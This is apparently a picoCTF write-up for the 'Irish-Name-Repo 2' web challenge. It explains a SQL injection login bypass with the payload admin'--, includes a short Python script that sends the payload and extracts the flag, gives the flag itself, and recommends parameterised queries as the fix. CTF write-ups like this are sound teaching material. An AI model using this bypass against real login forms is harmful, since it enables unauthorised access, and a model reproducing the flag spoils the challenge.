Share
## https://sploitus.com/exploit?id=9E76A0E7-9FCB-5BE1-811F-7CCD476D27E8
# picoCTF โ€” Irish-Name-Repo 2

| Field       | Details                              |
|-------------|--------------------------------------|
| **CTF**     | picoCTF                              |
| **Author**  | 6876h9                               |
| **Category**| Web Exploitation                     |
| **Tags**    | `sqli` `authentication-bypass` `filter-bypass` |
| **Difficulty** | Medium                            |
| **Flag**    | `picoCTF{m0R3_SQL_plz_8c334129}`    |

---

## Challenge Description

> Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login!

**Hint:** The password is being filtered.

---

## Reconnaissance

### Step 1 โ€” Initial Observation

Navigating to the target URL presents an Irish-themed listing page ("List 'o the Irish!") with paginated entries. The hamburger menu in the top-left reveals two links: **Support** and **Admin Login**.

![Main page](screenshots/02_main_page.png)

![Nav menu](screenshots/03_nav_menu.png)

### Step 2 โ€” Support Page Analysis

The Support page contains user-submitted tickets. One ticket is immediately relevant:

> *"Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error"*

The admin response confirms that the backend is running SQL. This is a direct indication that the application interacts with a database and that user input is not fully sanitised on all endpoints.

![Support page โ€” SQL error mention](screenshots/04_support_sqlerror.png)

![Support page โ€” additional tickets](screenshots/05_support_tickets.png)

---

## Vulnerability Analysis

The login form at the Admin Login page accepts a username and password, then passes them into a SQL query server-side. The likely backend query structure is:

```sql
SELECT username, password FROM users WHERE username='INPUT' AND password='INPUT';
```

In **Irish-Name-Repo 1**, the standard `' OR 1=1--` payload worked. In this version, the application implements a keyword filter โ€” submitting `OR`, `UNION`, `SELECT`, or similar SQL keywords returns a `SQLi detected` response. However, the **password field is the filtered field**, not the username field.

---

## Exploitation

### Step 1 โ€” Identify the Unfiltered Field

The hint states *"the password is being filtered."* This implies the username field may not carry the same restrictions.

### Step 2 โ€” Construct the Payload

The goal is to log in as `admin` without knowing the password. The standard comment-based bypass comments out the `AND password=''` clause entirely:

```
Username: admin'--
Password: (anything)
```

When injected, the backend query becomes:

```sql
SELECT username, password FROM users WHERE username='admin'--' AND password='whatever';
```

Everything after `--` is treated as a comment by the SQL engine. The password check is never evaluated. The query effectively becomes:

```sql
SELECT username, password FROM users WHERE username='admin'
```

![Login form โ€” payload entered](screenshots/07_sqli_payload.png)

### Step 3 โ€” Submit and Retrieve Flag

Submitting the form with the above payload logs in successfully as the admin account.

![Flag obtained](screenshots/01_flag_obtained.png)

**Flag:** `picoCTF{m0R3_SQL_plz_8c334129}`

---

## Exploit Script

A standalone Python script to automate this bypass is included in the `exploit/` directory.

```python
# exploit/exploit.py
import requests

TARGET = "http://fickle-tempest.picoctf.net:54744/login.php"

payload = {
    "username": "admin'--",
    "password":  "irrelevant",
    "debug":     "0"
}

response = requests.post(TARGET, data=payload)

if "picoCTF{" in response.text:
    import re
    flag = re.search(r"picoCTF\{[^}]+\}", response.text).group()
    print(f"[+] Flag: {flag}")
else:
    print("[-] Exploit did not yield the flag. Check the target URL.")
    print(response.text)
```

Run it:

```bash
pip install requests
python exploit/exploit.py
```

---

## Root Cause

The application constructs a SQL query via string concatenation rather than using parameterised queries (prepared statements). The password field applies a keyword blacklist, but the username field does not. A comment sequence (`--`) appended to the username terminates the query before the password check is reached, bypassing authentication entirely.

**Remediation:** Use parameterised queries / prepared statements. Never rely on keyword blacklists as a security control โ€” they are always bypassable.

---

## References

- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [PayloadsAllTheThings โ€” SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
- [picoCTF Platform](https://picoctf.org)